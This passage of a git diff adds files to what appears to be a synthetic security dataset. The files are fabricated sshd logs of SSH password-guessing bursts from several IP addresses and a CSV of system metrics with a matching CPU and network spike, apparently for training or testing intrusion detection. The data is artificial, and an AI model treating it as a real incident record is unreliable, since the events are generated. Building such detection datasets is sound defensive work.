invalid user ec2-user from 45.14.225.45 port 18130 ssh2 +Aug 26 10:04:35 auth-server sshd[2492]: Failed password for test from 45.14.225.45 port 60042 ssh2 +Aug 26 10:04:35 auth-server sshd[2492]: Failed password for webmaster from 185.191.171.12 port 24460 ssh2 +Aug 26 10:04:36 auth-server sshd[2492]: Failed password for invalid user api from 45.14.225.45 port 15065 ssh2 +Aug 26 10:04:37 auth-server sshd[2492]: Failed password for invalid user api from 45.14.225.45 port 37960 ssh2 +Aug 26 10:04:37 auth-server sshd[2492]: Failed password for invalid user deploy from 103.146.184.21 port 13127 ssh2 +Aug 26 10:04:37 auth-server sshd[2492]: Failed password for invalid user postgres from 185.191.171.12 port 40263 ssh2 +Aug 26 10:04:37 auth-server sshd[2492]: Failed password for test from 103.146.184.21 port 15743 ssh2 +Aug 26 10:04:38 auth-server sshd[2492]: Failed password for invalid user backup from 185.191.171.12 port 49726 ssh2 +Aug 26 10:04:38 auth-server sshd[2492]: Failed password for invalid user backup from 45.14.225.45 port 41407 ssh2 +Aug 26 10:04:39 auth-server sshd[2492]: Failed password for invalid user deploy from 103.146.184.21 port 10889 ssh2 +Aug 26 10:04:40 auth-server sshd[2492]: Failed password for invalid user api from 185.191.171.12 port 29727 ssh2 +Aug 26 10:04:40 auth-server sshd[2492]: Failed password for invalid user backup from 45.14.225.45 port 29294 ssh2 +Aug 26 10:04:42 auth-server sshd[2492]: Failed password for dev from 45.14.225.45 port 12990 ssh2 +Aug 26 10:04:42 auth-server sshd[2492]: Failed password for guest from 45.14.225.45 port 61496 ssh2 +Aug 26 10:04:42 auth-server sshd[2492]: Failed password for invalid user api from 185.191.171.12 port 16148 ssh2 +Aug 26 10:04:42 auth-server sshd[2492]: Failed password for invalid user backup from 185.191.171.12 port 16323 ssh2 +Aug 26 10:04:42 auth-server sshd[2492]: Failed password for invalid user ec2-user from 185.191.171.12 port 33873 ssh2 +Aug 26 10:04:42 auth-server sshd[2492]: Failed password for support from 185.191.171.12 port 39605 ssh2 +Aug 26 10:04:43 auth-server sshd[2492]: Failed password for invalid user deploy from 103.146.184.21 port 27046 ssh2 +Aug 26 10:04:44 auth-server sshd[2492]: Failed password for invalid user backup from 103.146.184.21 port 32647 ssh2 +Aug 26 10:04:44 auth-server sshd[2492]: Failed password for invalid user postgres from 185.191.171.12 port 32551 ssh2 +Aug 26 10:04:45 auth-server sshd[2492]: Failed password for invalid user ec2-user from 185.191.171.12 port 32499 ssh2 +Aug 26 10:04:45 auth-server sshd[2492]: Failed password for invalid user system from 103.146.184.21 port 30611 ssh2 +Aug 26 10:04:46 auth-server sshd[2492]: Failed password for invalid user system from 185.191.171.12 port 58459 ssh2 +Aug 26 10:04:46 auth-server sshd[2492]: Failed password for user from 103.146.184.21 port 48552 ssh2 +Aug 26 10:04:47 auth-server sshd[2492]: Failed password for invalid user api from 185.191.171.12 port 23241 ssh2 +Aug 26 10:04:47 auth-server sshd[2492]: Failed password for user from 103.146.184.21 port 22362 ssh2 +Aug 26 10:04:48 auth-server sshd[2492]: Failed password for invalid user deploy from 103.146.184.21 port 25101 ssh2 +Aug 26 10:04:49 auth-server sshd[2492]: Failed password for test from 45.14.225.45 port 31591 ssh2 +Aug 26 10:04:50 auth-server sshd[2492]: Failed password for invalid user api from 45.14.225.45 port 32643 ssh2 +Aug 26 10:04:50 auth-server sshd[2492]: Failed password for invalid user system from 103.146.184.21 port 40230 ssh2 +Aug 26 10:04:51 auth-server sshd[2492]: Failed password for invalid user postgres from 45.14.225.45 port 50716 ssh2 +Aug 26 10:04:51 auth-server sshd[2492]: Failed password for test from 185.191.171.12 port 35346 ssh2 +Aug 26 10:04:52 auth-server sshd[2492]: Failed password for invalid user backup from 45.14.225.45 port 24561 ssh2 +Aug 26 10:04:53 auth-server sshd[2492]: Failed password for invalid user ec2-user from 45.14.225.45 port 41445 ssh2 +Aug 26 10:04:54 auth-server sshd[2492]: Failed password for guest from 103.146.184.21 port 61552 ssh2 +Aug 26 10:04:54 auth-server sshd[2492]: Failed password for guest from 45.14.225.45 port 48927 ssh2 +Aug 26 10:04:54 auth-server sshd[2492]: Failed password for invalid user api from 45.14.225.45 port 14459 ssh2 +Aug 26 10:04:54 auth-server sshd[2492]: Failed password for invalid user backup from 185.191.171.12 port 37219 ssh2 +Aug 26 10:04:54 auth-server sshd[2492]: Failed password for root from 185.191.171.12 port 34556 ssh2 +Aug 26 10:04:54 auth-server sshd[2492]: Failed password for webmaster from 45.14.225.45 port 14053 ssh2 +Aug 26 10:04:54 auth-server sshd[2492]: Failed password for webmaster from 45.14.225.45 port 31824 ssh2 +Aug 26 10:04:55 auth-server sshd[2492]: Failed password for admin from 45.14.225.45 port 56812 ssh2 +Aug 26 10:04:55 auth-server sshd[2492]: Failed password for guest from 185.191.171.12 port 27571 ssh2 +Aug 26 10:04:56 auth-server sshd[2492]: Failed password for admin from 103.146.184.21 port 52705 ssh2 +Aug 26 10:04:56 auth-server sshd[2492]: Failed password for invalid user api from 45.14.225.45 port 54755 ssh2 +Aug 26 10:04:56 auth-server sshd[2492]: Failed password for user from 185.191.171.12 port 36834 ssh2 +Aug 26 10:04:57 auth-server sshd[2492]: Failed password for invalid user system from 103.146.184.21 port 19620 ssh2 +Aug 26 10:04:57 auth-server sshd[2492]: Failed password for invalid user system from 45.14.225.45 port 62067 ssh2 +Aug 26 10:04:57 auth-server sshd[2492]: Failed password for webmaster from 45.14.225.45 port 31136 ssh2 +Aug 26 10:04:58 auth-server sshd[2492]: Failed password for invalid user backup from 103.146.184.21 port 57711 ssh2 +Aug 26 10:04:58 auth-server sshd[2492]: Failed password for invalid user postgres from 185.191.171.12 port 33689 ssh2 +Aug 26 10:04:58 auth-server sshd[2492]: Failed password for invalid user system from 45.14.225.45 port 44445 ssh2 +Aug 26 10:04:58 auth-server sshd[2492]: Failed password for webmaster from 103.146.184.21 port 20655 ssh2 +Aug 26 10:04:59 auth-server sshd[2492]: Failed password for invalid user backup from 103.146.184.21 port 37295 ssh2 +Aug 26 10:04:59 auth-server sshd[2492]: Failed password for support from 45.14.225.45 port 47781 ssh2 +Aug 26 10:04:59 auth-server sshd[2492]: Failed password for webmaster from 103.146.184.21 port 53197 ssh2 +Aug 26 10:05:00 auth-server sshd[2492]: Failed password for invalid user deploy from 185.191.171.12 port 20777 ssh2 +Aug 26 10:05:00 auth-server sshd[2492]: Failed password for invalid user ec2-user from 45.14.225.45 port 56526 ssh2 +Aug 26 10:05:01 auth-server sshd[2492]: Failed password for webmaster from 185.191.171.12 port 34949 ssh2 +Aug 26 10:05:02 auth-server sshd[2492]: Failed password for invalid user deploy from 45.14.225.45 port 16288 ssh2 +Aug 26 10:05:03 auth-server sshd[2492]: Failed password for guest from 45.14.225.45 port 36205 ssh2 +Aug 26 10:05:03 auth-server sshd[2492]: Failed password for invalid user api from 185.191.171.12 port 56143 ssh2 +Aug 26 10:05:03 auth-server sshd[2492]: Failed password for invalid user api from 45.14.225.45 port 57612 ssh2 +Aug 26 10:05:03 auth-server sshd[2492]: Failed password for invalid user deploy from 185.191.171.12 port 34510 ssh2 +Aug 26 10:05:04 auth-server sshd[2492]: Failed password for guest from 185.191.171.12 port 59257 ssh2 +Aug 26 10:05:04 auth-server sshd[2492]: Failed password for test from 45.14.225.45 port 61693 ssh2 +Aug 26 10:05:05 auth-server sshd[2492]: Failed password for invalid user oracle from 103.146.184.21 port 27839 ssh2 +Aug 26 10:05:05 auth-server sshd[2492]: Failed password for webmaster from 103.146.184.21 port 58112 ssh2 +Aug 26 10:05:06 auth-server sshd[2492]: Failed password for invalid user postgres from 45.14.225.45 port 46675 ssh2 +Aug 26 10:05:07 auth-server sshd[2492]: Failed password for invalid user postgres from 185.191.171.12 port 35600 ssh2 +Aug 26 10:05:08 auth-server sshd[2492]: Failed password for invalid user deploy from 103.146.184.21 port 11217 ssh2 +Aug 26 10:05:08 auth-server sshd[2492]: Failed password for test from 103.146.184.21 port 16366 ssh2 +Aug 26 10:05:09 auth-server sshd[2492]: Failed password for invalid user deploy from 45.14.225.45 port 47456 ssh2 +Aug 26 10:05:09 auth-server sshd[2492]: Failed password for invalid user ec2-user from 103.146.184.21 port 59559 ssh2 +Aug 26 10:05:09 auth-server sshd[2492]: Failed password for invalid user oracle from 185.191.171.12 port 27084 ssh2 +Aug 26 10:05:09 auth-server sshd[2492]: Failed password for invalid user postgres from 185.191.171.12 port 10789 ssh2 +Aug 26 10:05:09 auth-server sshd[2492]: Failed password for webmaster from 103.146.184.21 port 47788 ssh2 +Aug 26 10:05:10 auth-server sshd[2492]: Failed password for test from 45.14.225.45 port 19127 ssh2 +Aug 26 10:05:10 auth-server sshd[2492]: Failed password for user from 45.14.225.45 port 22869 ssh2 +Aug 26 10:05:11 auth-server sshd[2492]: Failed password for invalid user oracle from 185.191.171.12 port 62346 ssh2 +Aug 26 10:05:11 auth-server sshd[2492]: Failed password for invalid user postgres from 185.191.171.12 port 30377 ssh2 +Aug 26 10:05:11 auth-server sshd[2492]: Failed password for invalid user postgres from 45.14.225.45 port 58104 ssh2 +Aug 26 10:05:13 auth-server sshd[2492]: Failed password for invalid user backup from 45.14.225.45 port 24718 ssh2 +Aug 26 10:05:13 auth-server sshd[2492]: Failed password for invalid user deploy from 185.191.171.12 port 64510 ssh2 +Aug 26 10:05:13 auth-server sshd[2492]: Failed password for invalid user ec2-user from 185.191.171.12 port 44303 ssh2 +Aug 26 10:05:13 auth-server sshd[2492]: Failed password for invalid user oracle from 103.146.184.21 port 54694 ssh2 +Aug 26 10:05:14 auth-server sshd[2492]: Failed password for invalid user oracle from 45.14.225.45 port 49125 ssh2 +Aug 26 10:05:15 auth-server sshd[2492]: Failed password for invalid user backup from 45.14.225.45 port 41906 ssh2 +Aug 26 10:05:15 auth-server sshd[2492]: Failed password for invalid user oracle from 103.146.184.21 port 48863 ssh2 +Aug 26 10:05:16 auth-server sshd[2492]: Failed password for invalid user api from 45.14.225.45 port 28321 ssh2 +Aug 26 10:05:16 auth-server sshd[2492]: Failed password for invalid user backup from 103.146.184.21 port 13481 ssh2 +Aug 26 10:05:17 auth-server sshd[2492]: Failed password for admin from 185.191.171.12 port 22900 ssh2 +Aug 26 10:05:17 auth-server sshd[2492]: Failed password for invalid user system from 185.191.171.12 port 18071 ssh2 +Aug 26 10:05:17 auth-server sshd[2492]: Failed password for support from 103.146.184.21 port 54729 ssh2 +Aug 26 10:05:18 auth-server sshd[2492]: Failed password for dev from 45.14.225.45 port 28613 ssh2 +Aug 26 10:05:18 auth-server sshd[2492]: Failed password for invalid user api from 103.146.184.21 port 51322 ssh2 +Aug 26 10:05:18 auth-server sshd[2492]: Failed password for invalid user deploy from 185.191.171.12 port 38228 ssh2 +Aug 26 10:05:18 auth-server sshd[2492]: Failed password for invalid user ec2-user from 185.191.171.12 port 28629 ssh2 +Aug 26 10:05:18 auth-server sshd[2492]: Failed password for invalid user system from 103.146.184.21 port 35315 ssh2 +Aug 26 10:05:18 auth-server sshd[2492]: Failed password for root from 103.146.184.21 port 32427 ssh2 +Aug 26 10:05:19 auth-server sshd[2492]: Failed password for invalid user ec2-user from 45.14.225.45 port 46488 ssh2 +Aug 26 10:05:20 auth-server sshd[2492]: Failed password for invalid user api from 45.14.225.45 port 27188 ssh2 +Aug 26 10:05:20 auth-server sshd[2492]: Failed password for invalid user ec2-user from 45.14.225.45 port 28682 ssh2 +Aug 26 10:05:20 auth-server sshd[2492]: Failed password for invalid user oracle from 185.191.171.12 port 34052 ssh2 +Aug 26 10:05:20 auth-server sshd[2492]: Failed password for invalid user postgres from 185.191.171.12 port 59127 ssh2 +Aug 26 10:05:21 auth-server sshd[2492]: Failed password for invalid user system from 103.146.184.21 port 11315 ssh2 +Aug 26 10:05:21 auth-server sshd[2492]: Failed password for support from 185.191.171.12 port 13405 ssh2 +Aug 26 10:05:21 auth-server sshd[2492]: Failed password for support from 45.14.225.45 port 44190 ssh2 +Aug 26 10:05:21 auth-server sshd[2492]: Failed password for test from 45.14.225.45 port 27859 ssh2 +Aug 26 10:05:21 auth-server sshd[2492]: Failed password for user from 45.14.225.45 port 33344 ssh2 +Aug 26 10:05:22 auth-server sshd[2492]: Failed password for invalid user postgres from 45.14.225.45 port 22067 ssh2 +Aug 26 10:05:22 auth-server sshd[2492]: Failed password for webmaster from 103.146.184.21 port 61276 ssh2 +Aug 26 10:05:23 auth-server sshd[2492]: Failed password for invalid user deploy from 45.14.225.45 port 59543 ssh2 +Aug 26 10:05:23 auth-server sshd[2492]: Failed password for invalid user postgres from 103.146.184.21 port 56793 ssh2 +Aug 26 10:05:23 auth-server sshd[2492]: Failed password for user from 45.14.225.45 port 10685 ssh2 +Aug 26 10:05:25 auth-server sshd[2492]: Failed password for invalid user deploy from 185.191.171.12 port 30610 ssh2 +Aug 26 10:05:25 auth-server sshd[2492]: Failed password for invalid user oracle from 185.191.171.12 port 39080 ssh2 +Aug 26 10:05:25 auth-server sshd[2492]: Failed password for invalid user postgres from 45.14.225.45 port 58303 ssh2 +Aug 26 10:05:25 auth-server sshd[2492]: Failed password for root from 185.191.171.12 port 63584 ssh2 +Aug 26 10:05:26 auth-server sshd[2492]: Failed password for support from 103.146.184.21 port 55006 ssh2 +Aug 26 10:05:27 auth-server sshd[2492]: Failed password for root from 45.14.225.45 port 24367 ssh2 +Aug 26 10:05:28 auth-server sshd[2492]: Failed password for invalid user backup from 103.146.184.21 port 10827 ssh2 +Aug 26 10:05:29 auth-server sshd[2492]: Failed password for dev from 45.14.225.45 port 41999 ssh2 +Aug 26 10:05:30 auth-server sshd[2492]: Failed password for admin from 185.191.171.12 port 14980 ssh2 +Aug 26 10:05:30 auth-server sshd[2492]: Failed password for dev from 185.191.171.12 port 13236 ssh2 +Aug 26 10:05:30 auth-server sshd[2492]: Failed password for invalid user api from 103.146.184.21 port 38273 ssh2 +Aug 26 10:05:30 auth-server sshd[2492]: Failed password for invalid user ec2-user from 45.14.225.45 port 50834 ssh2 +Aug 26 10:05:30 auth-server sshd[2492]: Failed password for root from 185.191.171.12 port 13101 ssh2 +Aug 26 10:05:31 auth-server sshd[2492]: Failed password for invalid user deploy from 185.191.171.12 port 27757 ssh2 +Aug 26 10:05:31 auth-server sshd[2492]: Failed password for invalid user oracle from 103.146.184.21 port 30621 ssh2 +Aug 26 10:05:31 auth-server sshd[2492]: Failed password for root from 185.191.171.12 port 48189 ssh2 +Aug 26 10:05:31 auth-server sshd[2492]: Failed password for root from 45.14.225.45 port 54118 ssh2 +Aug 26 10:05:32 auth-server sshd[2492]: Failed password for invalid user deploy from 103.146.184.21 port 61882 ssh2 +Aug 26 10:05:32 auth-server sshd[2492]: Failed password for invalid user ec2-user from 103.146.184.21 port 30784 ssh2 +Aug 26 10:05:32 auth-server sshd[2492]: Failed password for support from 103.146.184.21 port 62906 ssh2 +Aug 26 10:05:34 auth-server sshd[2492]: Failed password for invalid user ec2-user from 185.191.171.12 port 20986 ssh2 +Aug 26 10:05:34 auth-server sshd[2492]: Failed password for support from 103.146.184.21 port 63335 ssh2 +Aug 26 10:05:35 auth-server sshd[2492]: Failed password for guest from 45.14.225.45 port 16041 ssh2 +Aug 26 10:05:36 auth-server sshd[2492]: Failed password for invalid user deploy from 185.191.171.12 port 56045 ssh2 +Aug 26 10:05:36 auth-server sshd[2492]: Failed password for test from 103.146.184.21 port 13366 ssh2 +Aug 26 10:05:37 auth-server sshd[2492]: Failed password for invalid user ec2-user from 185.191.171.12 port 22088 ssh2 +Aug 26 10:05:37 auth-server sshd[2492]: Failed password for support from 103.146.184.21 port 62857 ssh2 +Aug 26 10:05:38 auth-server sshd[2492]: Failed password for dev from 45.14.225.45 port 34389 ssh2 +Aug 26 10:05:38 auth-server sshd[2492]: Failed password for invalid user backup from 185.191.171.12 port 29540 ssh2 +Aug 26 10:05:38 auth-server sshd[2492]: Failed password for invalid user deploy from 185.191.171.12 port 37423 ssh2 +Aug 26 10:05:38 auth-server sshd[2492]: Failed password for webmaster from 103.146.184.21 port 34151 ssh2 +Aug 26 10:05:39 auth-server sshd[2492]: Failed password for invalid user postgres from 45.14.225.45 port 42163 ssh2 +Aug 26 10:05:40 auth-server sshd[2492]: Failed password for dev from 185.191.171.12 port 57558 ssh2 +Aug 26 10:05:40 auth-server sshd[2492]: Failed password for invalid user backup from 103.146.184.21 port 50603 ssh2 +Aug 26 10:05:40 auth-server sshd[2492]: Failed password for invalid user system from 45.14.225.45 port 53827 ssh2 +Aug 26 10:05:41 auth-server sshd[2492]: Failed password for guest from 45.14.225.45 port 50844 ssh2 +Aug 26 10:05:41 auth-server sshd[2492]: Failed password for invalid user oracle from 45.14.225.45 port 28917 ssh2 +Aug 26 10:05:41 auth-server sshd[2492]: Failed password for invalid user postgres from 45.14.225.45 port 60436 ssh2 +Aug 26 10:05:41 auth-server sshd[2492]: Failed password for user from 45.14.225.45 port 42373 ssh2 +Aug 26 10:05:42 auth-server sshd[2492]: Failed password for invalid user api from 45.14.225.45 port 64273 ssh2 +Aug 26 10:05:43 auth-server sshd[2492]: Failed password for guest from 185.191.171.12 port 50498 ssh2 +Aug 26 10:05:43 auth-server sshd[2492]: Failed password for invalid user api from 185.191.171.12 port 42381 ssh2 +Aug 26 10:05:43 auth-server sshd[2492]: Failed password for invalid user ec2-user from 45.14.225.45 port 43124 ssh2 +Aug 26 10:05:44 auth-server sshd[2492]: Failed password for invalid user api from 185.191.171.12 port 12300 ssh2 +Aug 26 10:05:44 auth-server sshd[2492]: Failed password for invalid user api from 185.191.171.12 port 27338 ssh2 +Aug 26 10:05:44 auth-server sshd[2492]: Failed password for invalid user system from 45.14.225.45 port 40770 ssh2 +Aug 26 10:05:47 auth-server sshd[2492]: Failed password for invalid user api from 103.146.184.21 port 41959 ssh2 +Aug 26 10:05:47 auth-server sshd[2492]: Failed password for invalid user backup from 103.146.184.21 port 64806 ssh2 +Aug 26 10:05:47 auth-server sshd[2492]: Failed password for invalid user oracle from 103.146.184.21 port 22588 ssh2 +Aug 26 10:05:48 auth-server sshd[2492]: Failed password for invalid user deploy from 103.146.184.21 port 25759 ssh2 +Aug 26 10:05:48 auth-server sshd[2492]: Failed password for invalid user deploy from 103.146.184.21 port 60256 ssh2 +Aug 26 10:05:49 auth-server sshd[2492]: Failed password for dev from 103.146.184.21 port 32373 ssh2 +Aug 26 10:05:49 auth-server sshd[2492]: Failed password for test from 45.14.225.45 port 61155 ssh2 +Aug 26 10:05:49 auth-server sshd[2492]: Failed password for user from 45.14.225.45 port 26975 ssh2 +Aug 26 10:05:50 auth-server CRON[8765]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 26 10:05:52 auth-server sshd[2492]: Accepted password for admin from 10.0.2.5 port 49876 ssh2 +Aug 26 10:06:26 auth-server sshd[2492]: Accepted password for admin from 10.0.2.5 port 49876 ssh2 +Aug 26 10:06:41 auth-server CRON[8765]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 26 10:07:04 auth-server sshd[2492]: Accepted password for admin from 10.0.2.5 port 49876 ssh2 diff --git a/mali_dataset/scenario_7/mali_7_22.csv b/mali_dataset/scenario_7/mali_7_22.csv new file mode 100644 index 0000000000000000000000000000000000000000..d8ee9a7dd60012eebb61d4d4008cadc0bca754b6 --- /dev/null +++ b/mali_dataset/scenario_7/mali_7_22.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-26T10:00:00Z,12.43,43.13,38.21,1.18,1.12 +2025-08-26T10:00:05Z,11.37,40.37,24.72,1.88,1.82 +2025-08-26T10:00:10Z,13.38,40.03,33.76,1.54,1.78 +2025-08-26T10:00:15Z,10.14,40.23,30.77,1.1,1.57 +2025-08-26T10:00:20Z,11.78,43.46,33.37,1.06,1.92 +2025-08-26T10:00:25Z,11.85,40.94,32.98,1.68,1.07 +2025-08-26T10:00:30Z,10.35,39.02,24.07,1.46,1.36 +2025-08-26T10:00:35Z,15.77,40.29,36.31,1.61,1.52 +2025-08-26T10:00:40Z,14.02,41.46,33.41,1.08,1.35 +2025-08-26T10:00:45Z,15.61,41.17,38.99,1.39,1.41 +2025-08-26T10:00:50Z,13.33,39.38,33.69,1.72,1.96 +2025-08-26T10:00:55Z,15.16,43.28,21.52,1.51,1.17 +2025-08-26T10:01:00Z,16.9,37.51,36.01,1.89,1.62 +2025-08-26T10:01:05Z,16.28,44.61,32.0,1.45,1.83 +2025-08-26T10:01:10Z,16.02,37.26,36.55,1.19,1.87 +2025-08-26T10:01:15Z,16.75,40.81,38.36,1.97,1.21 +2025-08-26T10:01:20Z,12.0,35.82,22.29,1.76,1.84 +2025-08-26T10:01:25Z,17.94,39.38,22.69,1.59,1.2 +2025-08-26T10:01:30Z,16.88,42.39,23.72,1.99,1.3 +2025-08-26T10:01:35Z,14.25,36.4,26.51,1.16,1.42 +2025-08-26T10:01:40Z,17.05,38.6,39.08,1.36,1.24 +2025-08-26T10:01:45Z,18.44,35.3,27.51,2.0,1.72 +2025-08-26T10:01:50Z,18.58,43.88,35.4,1.55,1.89 +2025-08-26T10:01:55Z,12.45,43.02,20.36,1.65,1.04 +2025-08-26T10:02:00Z,16.66,41.98,21.39,1.41,1.1 +2025-08-26T10:02:05Z,13.0,37.71,23.17,1.37,1.01 +2025-08-26T10:02:10Z,16.4,44.05,28.43,1.21,1.46 +2025-08-26T10:02:15Z,19.22,42.02,28.39,1.23,1.84 +2025-08-26T10:02:20Z,10.91,40.94,34.66,1.26,1.94 +2025-08-26T10:02:25Z,18.68,40.21,31.99,1.9,1.51 +2025-08-26T10:02:30Z,91.61,36.20555568769431,37.88628548649509,18.91,1.42 +2025-08-26T10:02:35Z,86.11,39.56774316146877,40.457800304927275,22.69,1.64 +2025-08-26T10:02:40Z,96.0,36.01487080441878,26.64640548315631,20.53,1.6 +2025-08-26T10:02:45Z,91.96,40.66236682064927,25.682482922879604,19.18,1.45 +2025-08-26T10:02:50Z,94.52,42.095103448053216,35.63147249440596,20.71,1.83 +2025-08-26T10:02:55Z,86.18,42.11714095974609,30.8404114299673,24.21,1.74 +2025-08-26T10:03:00Z,91.4,35.98009861280184,35.92039491612117,22.58,1.47 +2025-08-26T10:03:05Z,87.68,39.07967620596856,38.20215860049935,23.74,1.21 +2025-08-26T10:03:10Z,85.34,35.53672629221773,35.211616356140496,19.89,1.74 +2025-08-26T10:03:15Z,92.3,36.34956731424569,32.13888591898128,27.06,1.89 +2025-08-26T10:03:20Z,88.25,43.79820519391122,36.659159765506644,16.87,1.96 +2025-08-26T10:03:25Z,95.16,38.52790263632106,30.9505729090464,28.56,1.53 +2025-08-26T10:03:30Z,97.07,36.97799714256843,21.90457905116656,26.75,1.62 +2025-08-26T10:03:35Z,88.0,39.930509368003754,30.318328006219623,29.88,1.04 +2025-08-26T10:03:40Z,97.85,37.63288461576986,29.988484569930097,15.53,1.86 +2025-08-26T10:03:45Z,95.67,38.55880127929659,23.88937450673432,28.67,1.65 +2025-08-26T10:03:50Z,96.62,41.91194064863097,29.329451818187152,21.3,1.56 +2025-08-26T10:03:55Z,91.57,41.12964542755146,30.844342643727593,25.73,1.43 +2025-08-26T10:04:00Z,93.12,41.80149158460945,28.564069570742152,25.17,1.58 +2025-08-26T10:04:05Z,97.58,35.57859064894972,28.330115112333093,28.9,1.95 +2025-08-26T10:04:10Z,87.75,42.63511129084517,36.797737983725376,25.2,1.52 +2025-08-26T10:04:15Z,90.58,36.65150508014489,29.677188049811953,20.84,1.82 +2025-08-26T10:04:20Z,92.55,40.08576429150838,28.47809756004549,15.17,1.6 +2025-08-26T10:04:25Z,97.54,45.822403326459714,28.404312342602935,17.47,1.54 +2025-08-26T10:04:30Z,87.16,44.70215705068989,36.37048114522963,23.17,1.55 +2025-08-26T10:04:35Z,85.41,42.406817686674835,21.112997100570656,18.81,1.16 +2025-08-26T10:04:40Z,90.57,41.06557409863985,29.355206994346446,28.51,1.67 +2025-08-26T10:04:45Z,88.25,36.56146539191449,27.68756835819015,20.2,1.79 +2025-08-26T10:04:50Z,91.78,41.75413661220458,29.45371073673726,28.47,1.39 +2025-08-26T10:04:55Z,94.11,36.061477189941634,36.26148962393738,23.08,1.72 +2025-08-26T10:05:00Z,14.86,40.65,37.75,1.02,1.25 +2025-08-26T10:05:05Z,11.14,42.92,31.38,1.64,1.4 +2025-08-26T10:05:10Z,17.22,37.98,36.25,1.03,1.41 +2025-08-26T10:05:15Z,17.06,35.49,36.08,1.47,1.96 +2025-08-26T10:05:20Z,11.86,43.01,36.51,1.79,1.91 +2025-08-26T10:05:25Z,17.27,44.3,21.57,1.13,1.25 +2025-08-26T10:05:30Z,10.42,40.87,36.7,1.21,1.25 +2025-08-26T10:05:35Z,11.5,35.06,20.55,1.01,1.41 +2025-08-26T10:05:40Z,13.89,37.46,25.42,1.17,1.61 +2025-08-26T10:05:45Z,14.74,38.36,21.31,1.02,1.12 +2025-08-26T10:05:50Z,13.92,35.9,23.24,1.72,1.69 +2025-08-26T10:05:55Z,19.32,36.23,22.11,1.86,1.22 +2025-08-26T10:06:00Z,13.78,41.24,28.12,1.9,1.75 +2025-08-26T10:06:05Z,13.77,43.97,36.16,1.41,1.79 +2025-08-26T10:06:10Z,15.94,42.12,25.16,1.61,1.49 +2025-08-26T10:06:15Z,13.96,44.65,24.24,1.97,1.52 +2025-08-26T10:06:20Z,11.52,35.54,25.16,1.21,2.0 +2025-08-26T10:06:25Z,10.42,37.54,32.18,1.85,1.59 +2025-08-26T10:06:30Z,15.5,43.35,20.56,1.95,1.86 +2025-08-26T10:06:35Z,17.32,35.33,37.72,1.12,1.23 +2025-08-26T10:06:40Z,15.71,36.63,35.73,1.07,1.18 +2025-08-26T10:06:45Z,12.57,42.83,24.58,1.51,1.64 +2025-08-26T10:06:50Z,18.89,41.01,32.5,1.06,1.9 +2025-08-26T10:06:55Z,10.33,38.54,29.26,1.66,1.99 +2025-08-26T10:07:00Z,13.2,36.83,32.45,1.27,1.54 +2025-08-26T10:07:05Z,13.22,39.5,20.12,1.66,1.85 +2025-08-26T10:07:10Z,17.85,40.01,36.39,1.18,1.18 +2025-08-26T10:07:15Z,12.27,36.85,36.56,1.37,1.69 +2025-08-26T10:07:20Z,17.32,40.34,39.65,1.57,1.16 +2025-08-26T10:07:25Z,10.07,42.3,21.54,1.17,1.58 diff --git a/mali_dataset/scenario_7/mali_7_22.log b/mali_dataset/scenario_7/mali_7_22.log new file mode 100644 index 0000000000000000000000000000000000000000..917e07d167cd7021564761560e19d0553e7d5590 --- /dev/null +++ b/mali_dataset/scenario_7/mali_7_22.log @@ -0,0 +1,268 @@ +Aug 26 10:00:00 auth-server CRON[4290]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 26 10:00:00 auth-server sshd[4290]: Accepted publickey for john from 192.168.1.10 port 51234 ssh2: RSA SHA256:... +Aug 26 10:00:00 auth-server systemd[1]: Starting daily clean up activities... +Aug 26 10:00:40 auth-server CRON[1044]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 26 10:01:15 auth-server systemd[1]: Starting daily clean up activities... +Aug 26 10:01:20 auth-server CRON[3709]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 26 10:02:00 auth-server CRON[4351]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 26 10:02:05 auth-server sshd[3424]: Accepted publickey for john from 192.168.1.10 port 51234 ssh2: RSA SHA256:... +Aug 26 10:02:30 auth-server sshd[6014]: Failed password for guest from 207.154.233.98 port 45617 ssh2 +Aug 26 10:02:31 auth-server sshd[6014]: Failed password for admin from 207.154.233.98 port 31877 ssh2 +Aug 26 10:02:31 auth-server sshd[6014]: Failed password for invalid user oracle from 188.166.23.45 port 42851 ssh2 +Aug 26 10:02:32 auth-server sshd[6014]: Failed password for invalid user guest from 207.154.233.98 port 34313 ssh2 +Aug 26 10:02:32 auth-server sshd[6014]: Failed password for user from 207.154.233.98 port 46958 ssh2 +Aug 26 10:02:33 auth-server sshd[6014]: Failed password for invalid user admin from 138.68.142.101 port 33710 ssh2 +Aug 26 10:02:35 auth-server sshd[8319]: Failed password for admin from 188.166.23.45 port 30627 ssh2 +Aug 26 10:02:35 auth-server sshd[8319]: Failed password for invalid user postgres from 207.154.233.98 port 12376 ssh2 +Aug 26 10:02:36 auth-server sshd[8319]: Failed password for invalid user admin from 138.68.142.101 port 40717 ssh2 +Aug 26 10:02:37 auth-server sshd[8319]: Failed password for guest from 207.154.233.98 port 25473 ssh2 +Aug 26 10:02:37 auth-server sshd[8319]: Failed password for invalid user admin from 207.154.233.98 port 47777 ssh2 +Aug 26 10:02:38 auth-server sshd[8319]: Failed password for invalid user oracle from 188.166.23.45 port 21190 ssh2 +Aug 26 10:02:38 auth-server sshd[8319]: Failed password for invalid user postgres from 188.166.23.45 port 46960 ssh2 +Aug 26 10:02:40 auth-server sshd[5998]: Failed password for guest from 188.166.23.45 port 25305 ssh2 +Aug 26 10:02:40 auth-server sshd[5998]: Failed password for guest from 188.166.23.45 port 57301 ssh2 +Aug 26 10:02:40 auth-server sshd[5998]: Failed password for invalid user admin from 188.166.23.45 port 55814 ssh2 +Aug 26 10:02:40 auth-server sshd[5998]: Failed password for user from 188.166.23.45 port 35656 ssh2 +Aug 26 10:02:41 auth-server sshd[5998]: Failed password for guest from 188.166.23.45 port 45113 ssh2 +Aug 26 10:02:42 auth-server sshd[5998]: Failed password for admin from 138.68.142.101 port 49938 ssh2 +Aug 26 10:02:42 auth-server sshd[5998]: Failed password for guest from 138.68.142.101 port 21101 ssh2 +Aug 26 10:02:42 auth-server sshd[5998]: Failed password for guest from 188.166.23.45 port 56477 ssh2 +Aug 26 10:02:42 auth-server sshd[5998]: Failed password for invalid user oracle from 138.68.142.101 port 48726 ssh2 +Aug 26 10:02:43 